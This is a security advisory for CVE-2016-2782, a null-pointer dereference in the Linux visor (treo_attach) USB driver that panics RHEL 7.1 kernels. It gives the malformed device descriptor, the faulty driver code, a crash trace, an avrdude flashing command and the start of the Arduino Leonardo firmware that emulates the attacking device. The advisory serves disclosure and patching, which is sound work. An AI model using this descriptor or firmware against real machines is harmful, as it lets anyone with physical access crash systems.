OS-S Security Advisory 2016-10 Linux visor (treo_attach) Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: CVE-2016-2782 CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS ? RHEL 7.1 Kernel crashes on invalid USB device descriptors (visor treo_attach driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net/advisories/OSS-2016-10_visor_treo_attach.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the visor (treo_attach) driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x82d idProduct: 0x200 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 The treo_attach function does not use the num_ports (struct usb_serial) value for any kind of sanity checks during the initialization process. Due to an incomplete sanity check, the driver could try to dereference a null-pointer if a malformed device-descriptor is presented (zero-value for bNumEndpoints or no required endpoint-descriptors is provided). This results in a crash of the system. **** ... 554 #define COPY_PORT(dest, src) \ 555 do { \ 556 int i; \ 557 \ 558 for (i = 0; i < ARRAY_SIZE(src->read_urbs); ++i) { \ 559 dest->read_urbs[i] = src->read_urbs[i]; \ /* Possible Nullpointer-Dereference */ 560 dest->read_urbs[i]->context = dest; \ 561 dest->bulk_in_buffers[i] = src->bulk_in_buffers[i]; \ 562 } \ 563 dest->read_urb = src->read_urb; \ 564 dest->bulk_in_endpointAddress = src->bulk_in_endpointAddress;\ 565 dest->bulk_in_buffer = src->bulk_in_buffer; \ 566 dest->bulk_in_size = src->bulk_in_size; \ 567 dest->interrupt_in_urb = src->interrupt_in_urb; \ 568 dest->interrupt_in_urb->context = dest; \ 569 dest->interrupt_in_endpointAddress = \ 570 src->interrupt_in_endpointAddress;\ 571 dest->interrupt_in_buffer = src->interrupt_in_buffer; \ 572 } while (0); 573 574 swap_port = kmalloc(sizeof(*swap_port), GFP_KERNEL); 575 if (!swap_port) 576 return -ENOMEM; 577 COPY_PORT(swap_port, serial->port[0]); /* no sanity-check! */ 578 COPY_PORT(serial->port[0], serial->port[1]); /* no sanity-check! */ 579 COPY_PORT(serial->port[1], swap_port); /* no sanity-check! */ ... **** [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x3 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. This bug was fixed upstream. A CVE number was not assigned. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283374 http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 Kernel Stacktrace: [ 35.176832] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 35.400183] usb 1-1: New USB device found, idVendor=082d, idProduct=0200 [ 35.407780] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 35.417186] usb 1-1: Product: ? [ 35.421846] usb 1-1: Manufacturer: ? [ 35.425686] usb 1-1: SerialNumber: % [ 35.438608] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 35.493316] usbcore: registered new interface driver visor [ 35.503150] usbserial: USB Serial support registered for Handspring Visor / Palm OS [ 35.512980] usbserial: USB Serial support registered for Sony Clie 5.0 [ 35.521056] usbserial: USB Serial support registered for Sony Clie 3.5 [ 35.535245] visor 1-1:1.0: Handspring Visor / Palm OS converter detected [ 35.542409] BUG: unable to handle kernel NULL pointer dereference at 00000000000000b0 [ 35.543244] IP: [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor] [ 35.543244] PGD 0 [ 35.543244] Oops: 0002 [#1] SMP [ 35.543244] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 35.543244] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 35.543244] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 35.543244] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 35.543244] RIP: 0010:[<ffffffffa0393651>] [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor] [ 35.543244] RSP: 0018:ffff88000bd23a78 EFLAGS: 00010286 [ 35.543244] RAX: ffff88000003c000 RBX: ffff88000af979c0 RCX: 000000000000a0e2 [ 35.543244] RDX: 0000000000000000 RSI: 00000000000000d0 RDI: ffff88000e401400 [ 35.543244] RBP: ffff88000bd23a80 R08: 00000000000164c0 R09: ffff88000e401400 [ 35.543244] R10: ffffffffa0393636 R11: ffff88000bcd0000 R12: 0000000000000404 [ 35.543244] R13: ffff88000be6b000 R14: ffff88000af979c0 R15: ffffffffa0395400 [ 35.543244] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 35.543244] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 35.543244] CR2: 00000000000000b0 CR3: 000000000c51f000 CR4: 00000000000006f0 [ 35.543244] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 35.543244] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 35.543244] Stack: [ 35.543244] ffff88000bcd0090 ffff88000bd23c18 ffffffff8145fed1 0000000000000007 [ 35.543244] 000000020bd23af8 ffff88000c525830 0000000100000000 ffffffffa0395400 [ 35.543244] 0000010000000001 ffff88000bcd0000 0000000000000100 ffff88000bcd0090 [ 35.543244] Call Trace: [ 35.543244] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230 [ 35.543244] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0 [ 35.543244] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0 [ 35.543244] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0 [ 35.543244] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100 [ 35.543244] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 35.543244] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 35.543244] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 35.543244] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 35.543244] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 35.543244] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 35.543244] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580 [ 35.543244] [<ffffffffa0398000>] ? 0xffffffffa0397fff [ 35.543244] [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor] [ 35.543244] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 35.543244] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 35.543244] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 35.543244] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 35.543244] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 35.543244] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 35.543244] Code: e1 ba 50 05 00 00 be d0 00 00 00 e8 4a 84 e1 e0 48 85 c0 0f 84 e1 02 00 00 48 8b 53 20 48 8b 92 b8 01 00 00 48 89 90 b8 01 00 00 <48> 89 82 b0 00 00 00 48 8b 53 20 48 8b 92 a8 01 00 00 48 89 90 [ 35.543244] RIP [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor] [ 35.543244] RSP <ffff88000bd23a78> [ 35.543244] CR2: 00000000000000b0 [ 35.973188] ---[ end trace b239663354a1c556 ]--- [ 35.978862] Kernel panic - not syncing: Fatal exception [ 35.979835] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C 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